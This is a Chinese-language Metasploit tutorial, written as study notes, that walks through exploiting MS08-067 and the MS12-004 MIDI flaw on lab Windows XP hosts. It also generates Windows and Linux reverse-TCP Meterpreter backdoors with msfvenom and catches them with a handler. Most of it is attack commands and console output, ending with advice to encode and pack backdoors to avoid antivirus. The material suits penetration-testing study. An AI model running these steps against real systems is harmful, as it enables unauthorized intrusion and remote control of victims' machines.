Metasploit 进阶
本文是"T00LS Metasploit(第二季)"的文档版，是个人在观看视频动手操作的一个记录，仅供学习。文中会介绍Metasploit的一些基本使用：主要包括远程代码执行、MIDI文件解析远程代码执行、密码破解、生成后门等。
一、远程代码执行
MS08-067
首先，我们准备了一台靶机：192.168.1.103 [Windows XP Professional]
msf > search ms08-067 Matching Modules ================ Name Disclosure Date Rank Description ---- --------------- ---- ----------- exploit/windows/smb/ms08_067_netapi 2008-10-28 great MS08-067 Microsoft Server Service Relative Path Stack Corruption msf > use exploit/windows/smb/ms08_067_netapi msf exploit(ms08_067_netapi) > show options Module options (exploit/windows/smb/ms08_067_netapi): Name Current Setting Required Description ---- --------------- -------- ----------- RHOST yes The target address RPORT 445 yes The SMB service port (TCP) SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC) Exploit target: Id Name -- ---- 0 Automatic Targeting msf exploit(ms08_067_netapi) > set rhost 192.168.1.103 rhost => 192.168.1.103 msf exploit(ms08_067_netapi) > show targets Exploit targets: Id Name -- ---- 0 Automatic Targeting 1 Windows 2000 Universal ...
【有很多，就不一一展示了】
...

注意需要设置一下LHOST和LPORT参数，默认是本机ip监听4444端口，如果要攻击外部ip的话，需要提供一个外部ip地址。下面是利用成功的截图：
MS17-010
关于MS17-010的利用方法请移步: SMB MS17-010, 这里就不做重复介绍了。
MIDI文件解析远程代码执行
靶机：192.168.1.111（XP） 攻击机：192.168.1.110（Kali）

SSL false no Negotiate SSL for incoming connections SSLCert no Path to a custom SSL certificate (default is randomly generated) URIPATH no The URI to use for this exploit (default is random) Exploit target: Id Name -- ---- 0 Automatic
需要设置两个重要的参数：SRVHOST：设置为本机地址， SRVPORT：监听端口（默认即可），另外就是URIPATH："友好"访问地址。
msf exploit(ms12_004_midi) > set SRVHOST 192.168.1.110 【设置为本机地址】 SRVHOST => 192.168.1.110 msf exploit(ms12_004_midi) > set URIPATH / URIPATH => / msf exploit(ms12_004_midi) > show options Module options (exploit/windows/browser/ms12_004_midi): Name Current Setting Required Description ---- --------------- -------- ----------- OBFUSCATE false no Enable JavaScript obfuscation SRVHOST 192.168.1.110 yes The local host to listen on.

[*] Will attempt to migrate to specified System level process. [*] Trying services.exe (760) [+] Successfully migrated to services.exe (760) as: NT AUTHORITY\SYSTEM
经过上述的攻击过程，可以成功的拿到一个session。

后门
生成各种后门，请戳：msfvenom生成各类Payload命令
windows exe后门
下面将介绍windows后门的使用，攻击机：192.168.1.107（kali） 靶机：192.168.1.111（Win XP）
首先要生成后门，以windows/meterpreter/reverse_tcp为例：
root@kali:~# msfconsole
IIIIII dTb.dTb _.---._
II 4' v 'B .'"".'/|\`.""'.
II 6. .P : .' / | \ `. :
II 'T;. .;P' '.' / | \ `.'

No encoder or badchars specified, outputting raw payload
Payload size: 333 bytes
Final size of exe file: 73802 bytes
我们可以看到，上面后门地址是攻击机的ip：192.168.1.107，端口为1234，生成后门之后，将其放到靶机192.168.1.111上，在攻击机进行如下操作：
msf > use exploit/multi/handler msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set payload windows/meterpreter/reverse_tcp 【其实是刚才那个后门payload】 payload => windows/meterpreter/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set lhost 192.168.1.107 [设置反向连接的ip] lhost => 192.168.1.107 msf exploit(handler) > set lport 1234 [设置反向连接的端口] lport => 1234 msf exploit(handler) > run [run之后在靶机win xp上运行后门test.exe] [*] Started reverse TCP handler on 192.168.1.107:1234 [*] Starting the payload handler...

这样我们就能拿到一个meterpreter了，然后就可以自己发挥了。运行截图如下：

Linux后门
下面将简单演示一下linux后门的使用。攻击机：192.168.1.107（kali） 靶机：192.168.1.103（ubuntu16.04）
先生成linux后门： linux/x86/meterpreter/reverse_tcp， 在kali上操作如下：
msf > msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=4321 -f elf > shell.elf [*] exec: msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.107 LPORT=4321 -f elf > shell.elf No platform was selected, choosing Msf::Module::Platform::Linux from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 99 bytes Final size of elf file: 183 bytes msf > chmod 777 shell.elf [赋予执行权限] [*] exec: chmod 777 shell.elf
将生成的后门拷贝的靶机：192.168.1.103上， 在攻击机：192.168.1.107进行如下操作：
msf > use exploit/multi/handler msf exploit(handler) > set payload linux/x86/meterpreter/reverse_tcp payload => linux/x86/meterpreter/reverse_tcp msf exploit(handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (linux/x86/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- LHOST yes The listen address LPORT 4444 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(handler) > set LHOST 192.168.1.107 [设置本机ip] LHOST => 192.168.1.107 msf exploit(handler) > set LPORT 4321 [设置监听端口] LPORT => 4321 msf exploit(handler) > run [run之后，在靶机上运行后门程序shell.elf] [*] Started reverse TCP handler on 192.168.1.107:4321 [*] Starting the payload handler... [*] Sending stage (797784 bytes) to 192.168.1.103 [*] Meterpreter session 1 opened (192.168.1.107:4321 -> 192.168.1.103:39498) at 2017-08-23 04:33:08 -0400 meterpreter > ifconfig [可以拿到一个meterpreter]
剩下的就自己发挥了，下面是运行时截图：
其他后门就先不介绍了，参考前面给出的：msfvenom生成各类Payload命令， 及结合前面两个示例，应该问题不大，有时间再补充吧。
后门这部分，其实不仅仅是生成一个简单的后门，其更应该具有免杀特性，msfvenom 在生成后门的同时可以进行编码，而且还可以使用工具进行加壳，提高隐蔽性。
未完，待续...
